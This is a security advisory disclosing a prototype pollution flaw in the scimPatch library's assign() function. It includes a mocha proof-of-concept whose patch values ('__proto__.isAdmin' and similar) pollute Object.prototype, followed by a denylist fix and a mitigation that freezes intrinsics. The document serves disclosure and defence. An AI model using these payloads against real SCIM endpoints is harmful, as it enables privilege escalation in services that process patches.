scimPatch vulnerable to prototype pollution via unfiltered keys in patch

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

• "__proto__" in obj is always true, so the fresh-object branch is skipped.
• obj = obj["__proto__"] now points to Object.prototype.
• The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "[email protected]", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.